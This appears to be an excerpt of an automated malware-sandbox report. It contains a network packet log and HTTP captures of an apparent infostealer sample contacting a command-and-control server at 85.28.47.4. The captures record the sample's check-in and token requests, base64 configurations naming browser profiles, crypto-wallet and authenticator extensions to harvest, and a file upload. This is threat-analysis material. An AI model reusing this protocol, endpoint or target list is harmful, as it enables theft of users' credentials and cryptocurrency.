Jun 26, 2024 08:18:12.495683908 CEST	49976	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:12.500808954 CEST	80	49976	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:13.170412064 CEST	80	49976	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:13.171176910 CEST	49976	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.181819916 CEST	49976	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.182323933 CEST	49977	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.187365055 CEST	80	49977	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:13.187439919 CEST	49977	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.188600063 CEST	80	49976	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:13.188824892 CEST	49976	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.194962978 CEST	49977	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.199980974 CEST	80	49977	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:13.879468918 CEST	80	49977	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:13.879575968 CEST	49977	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.988687038 CEST	49977	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.989068985 CEST	49978	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.993916988 CEST	80	49977	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:13.993935108 CEST	80	49978	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:13.994024038 CEST	49977	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.994071007 CEST	49978	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.994267941 CEST	49978	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:13.999072075 CEST	80	49978	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:14.661567926 CEST	80	49978	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:14.661636114 CEST	49978	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:14.666429996 CEST	49978	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:14.666897058 CEST	49979	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:14.671778917 CEST	80	49979	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:14.671937943 CEST	49979	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:14.672075987 CEST	80	49978	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:14.672126055 CEST	49978	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:14.672391891 CEST	49979	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:14.677357912 CEST	80	49979	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:15.339459896 CEST	80	49979	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:15.341952085 CEST	49979	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:15.463948011 CEST	49979	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:15.464714050 CEST	49980	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:15.469116926 CEST	80	49979	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:15.469168901 CEST	49979	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:15.469543934 CEST	80	49980	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:15.469839096 CEST	49980	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:15.471963882 CEST	49980	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:15.476766109 CEST	80	49980	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:16.158175945 CEST	80	49980	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:16.158240080 CEST	49980	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.161190033 CEST	49980	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.161891937 CEST	49981	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.167031050 CEST	80	49980	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:16.167138100 CEST	80	49981	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:16.167222023 CEST	49980	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.167224884 CEST	49981	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.168786049 CEST	49981	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.173778057 CEST	80	49981	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:16.841084957 CEST	80	49981	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:16.841296911 CEST	49981	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.959635019 CEST	49981	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.960266113 CEST	49982	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.965270996 CEST	80	49981	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:16.965290070 CEST	80	49982	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:16.965380907 CEST	49981	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.965380907 CEST	49982	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.966025114 CEST	49982	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:18:16.971363068 CEST	80	49982	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:17.631257057 CEST	80	49982	147.45.47.155	192.168.2.6
Jun 26, 2024 08:18:17.633956909 CEST	49982	80	192.168.2.6	147.45.47.155

HTTP Request Dependency Graph

85.28.47.4

77.91.77.81

147.45.47.155

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49713	85.28.47.4	80	3792	C:\Users\user\Desktop\EZrw1nNIpG.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:14.349868059 CEST	411	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGIDGDGHCAAAAKKFCG Host: 85.28.47.4 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 30 31 42 33 34 46 38 43 31 34 34 32 39 33 39 34 34 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 2d 2d 0d 0a Data Ascii: ------JKEGIDGDGHCAAAAKKFCGContent-Disposition: form-data; name="hwid"2701B34F8C144293944220------JKEGIDGDGHCAAAAKKFCGContent-Disposition: form-data; name="build"default------JKEGIDGDGHCAAAAKKFCG--
Jun 26, 2024 08:16:15.001533985 CEST	384	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 4a 6d 4d 47 59 77 4e 44 59 31 4d 6a 67 79 5a 57 4e 6d 4e 32 4d 77 59 57 45 7a 5a 6a 51 79 4f 54 63 7a 4d 7a 46 6d 4d 7a 64 6d 5a 44 4e 6c 59 54 45 35 4e 44 56 68 59 54 51 78 4d 6d 45 35 5a 44 41 7a 59 32 4d 31 5a 57 55 33 4d 32 59 79 4d 44 5a 68 59 7a 51 7a 59 7a 5a 69 4d 44 52 68 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: ZmJmMGYwNDY1MjgyZWNmN2MwYWEzZjQyOTczMzFmMzdmZDNlYTE5NDVhYTQxMmE5ZDAzY2M1ZWU3M2YyMDZhYzQzYzZiMDRhfGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jun 26, 2024 08:16:15.003995895 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJDGDHIDBGIECBGHJDB Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="message"browsers------KKJDGDHIDBGIECBGHJDB--
Jun 26, 2024 08:16:15.181493044 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jun 26, 2024 08:16:15.181514978 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jun 26, 2024 08:16:15.183787107 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBAKJDGHIIJJKFHCFCA Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 41 4b 4a 44 47 48 49 49 4a 4a 4b 46 48 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 4b 4a 44 47 48 49 49 4a 4a 4b 46 48 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 4b 4a 44 47 48 49 49 4a 4a 4b 46 48 43 46 43 41 2d 2d 0d 0a Data Ascii: ------AEBAKJDGHIIJJKFHCFCAContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------AEBAKJDGHIIJJKFHCFCAContent-Disposition: form-data; name="message"plugins------AEBAKJDGHIIJJKFHCFCA--
Jun 26, 2024 08:16:15.361668110 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jun 26, 2024 08:16:15.361712933 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jun 26, 2024 08:16:15.361741066 CEST	448	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jun 26, 2024 08:16:15.361757040 CEST	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Jun 26, 2024 08:16:15.361773968 CEST	1236	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmh
Jun 26, 2024 08:16:15.361787081 CEST	252	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Jun 26, 2024 08:16:15.363924980 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCG Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="message"fplugins------HDGCFHIDAKECFHIEBFCG--
Jun 26, 2024 08:16:15.544883013 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jun 26, 2024 08:16:15.591351032 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAAECGHCBGCBFHIIDHI Host: 85.28.47.4 Content-Length: 7195 Connection: Keep-Alive Cache-Control: no-cache
Jun 26, 2024 08:16:15.591351032 CEST	7195	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 Data Ascii: ------AAAAECGHCBGCBFHIIDHIContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------AAAAECGHCBGCBFHIIDHIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jun 26, 2024 08:16:16.408271074 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
